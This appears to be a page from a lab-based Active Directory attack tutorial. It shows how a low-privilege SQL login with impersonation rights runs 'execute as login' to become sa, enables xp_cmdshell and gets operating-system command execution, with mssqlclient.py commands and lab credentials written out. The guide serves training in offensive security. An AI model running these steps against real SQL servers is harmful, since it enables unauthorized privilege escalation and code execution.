> For the complete documentation index, see [llms.txt](https://watchdogsacademy.gitbook.io/attacking-active-directory/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://watchdogsacademy.gitbook.io/attacking-active-directory/mssql-servers-exploitation/impersonate-execute-as-login.md).

# impersonate - execute as login

Connect to the database

```
mssqlclient.py -windows-auth north.newyork.local/miguel.cabrera:ilovebaseball@yonkers.north.newyork.local
```

* Let’s enumerate impersonation values:

```
enum_impersonate
```

* The previous command list all users with impersonation permission

*“SQL Login is for Authentication and SQL Server User is for Authorization. Authentication can decide if we have permissions to access the server or not and Authorization decides what are different operations we can do in a database. Login is created at the SQL Server instance level and User is created at the SQL Server database level. We can have multiple users from a different database connected to a single login to a server.”*

<figure><img src="/files/H6mVCNg6yGgq5Kzn7RE3" alt=""><figcaption></figcaption></figure>

* Ok let see the result :&#x20;

<figure><img src="/files/BEGqiKDrOXY8D2UNCrBh" alt=""><figcaption></figcaption></figure>

* Ok miguel.cabrera got login impersonation to the user sa.
* So we can impersonate sa with `execute as login` and execute commands with xp\_cmdshell

```
exec_as_login sa
enable_xp_cmdshell
xp_cmdshell whoami
```

* And we get a command execution !

<figure><img src="/files/aoJ9YGyXLxvwV3W7n6yr" alt=""><figcaption></figcaption></figure>

* Let’s continue our enumeration as login **sa** this time:

```
enum_logins

```

<figure><img src="/files/ennKKg5zC0xHqDAFEMtI" alt=""><figcaption></figcaption></figure>

* As we can see with sa login we see a lot more things. And we can see that elena.lopez is sysadmin on the mssql server
* Let’s see if there is others impersonation privileges:
*

```
<figure><img src="/files/cBBkCNnN5MB2tntJixYQ" alt=""><figcaption></figcaption></figure>
```

* As sysadmin user (sa), we can see all the information in the database and so the others users with impersonation privileges.
* Another way to get in could be to access as claudio.ortiz  and do `execute as login` on user elena.lopez.
